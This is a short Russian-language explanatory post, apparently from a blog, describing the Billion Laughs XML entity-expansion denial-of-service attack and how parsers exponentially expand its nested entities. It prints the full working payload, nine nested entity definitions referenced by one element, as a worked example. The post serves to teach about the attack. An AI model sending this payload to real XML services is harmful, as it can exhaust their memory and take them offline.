Атака Billion Laughs - это атака типа «отказ в обслуживании», предназначенная для анализаторов XML. Атака Billion Laughs также известна как бомба XML, или, что более эзотерически, экспоненциальная атака на расширение сущностей. Атака Billion Laughs может происходить даже при использовании правильно сформированного XML, а также может проходить проверку схемы XML.
Ванильная атака Billion Laughs показана в XML-файле, представленном ниже.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
В этом примере есть 10 различных сущностей XML, lol
- lol9
. Первая сущность lol
определена как строка “lol”
. Однако каждый из других объектов определяется как 10 других объектов. Раздел содержимого документа этого XML-файла содержит ссылку только на один экземпляр объекта lol9
. Однако, когда он анализируется анализатором DOM или SAX, когда встречается lol9
, он расширяется до 10 lol8
с, каждый из которых расширяется до 10 lol7
с, и так далее, и так далее. К тому времени, когда все расширится до текста lol
, в строке будет * 100 000 000 экземпляров "lol"
. Если бы была еще одна сущность или lol
был определен как 10 строк из “lol”
, был бы миллиард «лол», отсюда и название атаки. Излишне говорить, что это множество расширений потребляет экспоненциальное количество ресурсов и времени, вызывая DOS.
Более подробное объяснение есть в моем блоге .